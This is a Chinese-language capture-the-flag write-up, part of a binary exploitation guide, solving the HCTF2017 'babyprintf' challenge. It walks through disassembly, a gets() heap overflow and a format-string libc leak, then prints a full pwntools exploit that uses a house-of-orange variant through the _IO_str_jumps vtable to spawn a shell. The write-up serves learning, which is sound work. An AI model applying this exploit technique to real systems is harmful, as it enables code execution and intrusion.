- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
6.1.25 pwn HCTF2017 babyprintf
题目复现
$ file babyprintf
babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
$ checksec -f babyprintf
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 babyprintf
$ strings libc-2.24.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Compiled by GNU CC version 6.3.0 20170406.
64 位程序,开启了 canary 和 NX,默认开启 ASLR。
在 Ubuntu16.10 上玩一下:
./babyprintf
size: 0
string: AAAA
result: AAAAsize: 10
string: %p.%p.%p.%p
result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
too long
真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响;然后似乎是直接打印 string,而没有考虑格式化字符串的问题;最后程序应该是对 size 做了大小上的检查,而且是无符号数。
题目解析
main
[0x00400850]> pdf @ main
;-- section..text:
/ (fcn) main 130
| main ();
| ; DATA XREF from 0x0040086d (entry0)
| 0x004007c0 push rbx ; [14] -r-x section size 706 named .text
| 0x004007c1 xor eax, eax
| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
| ,=< 0x004007c8 jmp 0x400815
| 0x004007ca nop word [rax + rax]
| | ; CODE XREF from 0x00400832 (main)
| .--> 0x004007d0 mov edi, eax
| :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
| :| 0x004007dc mov rbx, rax
| :| 0x004007df mov edi, 1
| :| 0x004007e4 xor eax, eax
| :| 0x004007e6 call sym.imp.__printf_chk
| :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
| :| 0x004007ee xor eax, eax
| :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
| :| 0x004007fa mov edi, 1
| :| 0x004007ff xor eax, eax
| :| 0x00400801 call sym.imp.__printf_chk
| :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
| :| 0x00400809 mov edi, 1
| :| 0x0040080e xor eax, eax
| :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
| :| ; CODE XREF from 0x004007c8 (main)
| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
| : 0x0040081a mov edi, 1
| : 0x0040081f xor eax, eax
| : 0x00400821 call sym.imp.__printf_chk
| : 0x00400826 xor eax, eax
| : 0x00400828 call sub._IO_getc_990 ; 读入 size
| : 0x0040082d cmp eax, 0x1000
| `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
| 0x00400839 call sym.imp.puts ; int puts(const char *s)
| 0x0040083e mov edi, 1
\ 0x00400843 call sym.imp.exit ; void exit(int status)
整个程序非常简单,首先分配 size 大小的空间,然后在这里读入字符串,由于使用 gets()
函数,可能会导致堆溢出。然后直接调用 __printf_chk()
打印这个字符串,可能会导致栈信息泄露。
这里需要注意的是 __printf_chk()
函数,由于程序开启了 FORTIFY
机制,所以程序在编译时所有的 printf()
都被 __printf_chk()
替换掉了。区别有两点:
- 不能使用
%x$n
不连续地打印,也就是说如果要使用%3$n
,则必须同时使用%1$n
和%2$n
。 - 在使用
%n
的时候会做一些检查。
漏洞利用
所以这题应该不止是利用格式化字符串,其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查,原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了,即一个叫做 _IO_str_jumps
的 vtable 里的 _IO_str_overflow
虚表函数(参考章节 4.13)。
overwrite top chunk
def overwrite_top():
payload = "A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(0x10, payload)
为了能将 top chunk 释放到 unrosted bin 中,首先覆写 top chunk 的 size 字段:
gdb-peda$ x/8gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
0x602030: 0x0000000000000000 0x0000000000000000
leak libc
def leak_libc():
global libc_base
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
然后利用格式化字符串来泄露 libc 的地址,此时的 top chunk 也已经放到 unsorted bin 中了:
gdb-peda$ x/10gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
0x602040: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x623010-0x10
0x623000: 0x0000000000000000 0x0000000000001011
0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
0x623020: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x623000+0x1010
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
0x624020: 0x0000000000000000 0x0000000000000000
house of orange
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
payload += p64(system_addr)
prf(0x10, payload)
改进版的 house-of-orange,详细你已经看了参考章节,这里就不再重复了,内存布局如下:
gdb-peda$ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
0x602050: 0x0000000000000000 0x00007ffff7dd24f0
0x602060: 0x0000000000000000 0x7fffffffffffffff
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
0x602130: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow
pwn
def pwn():
io.sendline("0") # abort routine
io.interactive()
最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow
,获得 shell。
开启 ASLR,Bingo!!!
$ python exp.py
[+] Starting local process './babyprintf': pid 8307
[*] libc_base address: 0x7f40dc2ca000
[*] _IO_list_all address: 0x7f40dc68c500
[*] system address: 0x7f40dc30f6a0
[*] /bin/sh address: 0x7f40dc454c40
[*] vtable address: 0x7f40dc6884c0
[*] Switching to interactive mode
result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
======= Backtrace: =========
...
$ whoami
firmy
exploit
完整 exp 如下:
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
libc = ELF('libc-2.24.so')
def prf(size, string):
io.sendlineafter("size: ", str(size))
io.sendlineafter("string: ", string)
def overwrite_top():
payload = "A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(0x10, payload)
def leak_libc():
global libc_base
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
payload += p64(system_addr)
prf(0x10, payload)
def pwn():
io.sendline("0") # abort routine
io.interactive()
if __name__ == '__main__':
overwrite_top()
leak_libc()
house_of_orange()
pwn()
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论